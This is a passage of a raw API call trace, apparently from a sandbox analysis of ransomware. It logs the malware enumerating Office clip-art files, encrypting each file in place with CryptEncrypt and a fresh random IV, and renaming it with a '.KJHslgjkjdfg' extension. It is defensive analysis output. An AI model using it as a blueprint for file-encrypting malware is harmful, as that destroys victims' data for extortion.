(HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.857] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.857] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.858] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.858] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.858] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.858] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.858] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.858] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6fd2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6fd2, lpOverlapped=0x0) returned 1 [0202.859] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6fe0, dwBufLen=0x6fe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6fe0) returned 1 [0202.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.859] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6fe0, lpOverlapped=0x0) returned 1 [0202.860] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x70b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.860] SetEndOfFile (hFile=0x130) returned 1 [0202.862] GetProcessHeap () returned 0x2ef0000 [0202.862] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.862] GetProcessHeap () returned 0x2ef0000 [0202.862] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183174.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183174.wmf.kjhslgjkjdfg")) returned 1 [0202.864] CloseHandle (hObject=0x130) returned 1 [0202.864] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0202.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.865] GetProcessHeap () returned 0x2ef0000 [0202.865] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.865] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.865] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.865] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.904] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.904] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.904] GetProcessHeap () returned 0x2ef0000 [0202.904] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.904] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.904] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.904] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.905] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.905] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.905] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.905] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.905] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.905] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.905] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.905] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5f6e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5f6e, lpOverlapped=0x0) returned 1 [0202.907] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f70, dwBufLen=0x5f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f70) returned 1 [0202.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.907] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5f70, lpOverlapped=0x0) returned 1 [0202.908] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.908] SetEndOfFile (hFile=0x130) returned 1 [0202.910] GetProcessHeap () returned 0x2ef0000 [0202.910] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.911] GetProcessHeap () returned 0x2ef0000 [0202.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183198.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183198.wmf.kjhslgjkjdfg")) returned 1 [0202.912] CloseHandle (hObject=0x130) returned 1 [0202.912] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0202.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.914] GetProcessHeap () returned 0x2ef0000 [0202.914] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.914] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.914] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.914] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0202.916] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.916] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.916] GetProcessHeap () returned 0x2ef0000 [0202.916] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.916] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.916] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.917] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.917] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.917] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.917] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.917] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.917] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4b4a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4b4a, lpOverlapped=0x0) returned 1 [0202.918] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b50, dwBufLen=0x4b50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4b50) returned 1 [0202.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.919] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4b50, lpOverlapped=0x0) returned 1 [0202.919] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.919] SetEndOfFile (hFile=0x130) returned 1 [0202.922] GetProcessHeap () returned 0x2ef0000 [0202.922] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.922] GetProcessHeap () returned 0x2ef0000 [0202.922] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183574.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183574.wmf.kjhslgjkjdfg")) returned 1 [0202.924] CloseHandle (hObject=0x130) returned 1 [0202.924] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0202.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.925] GetProcessHeap () returned 0x2ef0000 [0202.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.925] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.925] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.929] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.929] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.929] GetProcessHeap () returned 0x2ef0000 [0202.929] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.929] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.929] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.929] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.930] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.930] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.930] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.930] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.930] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.930] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.930] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c88, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c88, lpOverlapped=0x0) returned 1 [0202.931] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c90, dwBufLen=0x1c90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c90) returned 1 [0202.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.931] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c90, lpOverlapped=0x0) returned 1 [0202.931] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.931] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.932] SetEndOfFile (hFile=0x130) returned 1 [0202.932] GetProcessHeap () returned 0x2ef0000 [0202.932] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.932] GetProcessHeap () returned 0x2ef0000 [0202.932] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.kjhslgjkjdfg")) returned 1 [0203.006] CloseHandle (hObject=0x130) returned 1 [0203.006] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0203.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.009] GetProcessHeap () returned 0x2ef0000 [0203.009] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.009] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.009] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0203.011] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.011] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.011] GetProcessHeap () returned 0x2ef0000 [0203.012] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.012] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.012] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.012] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, 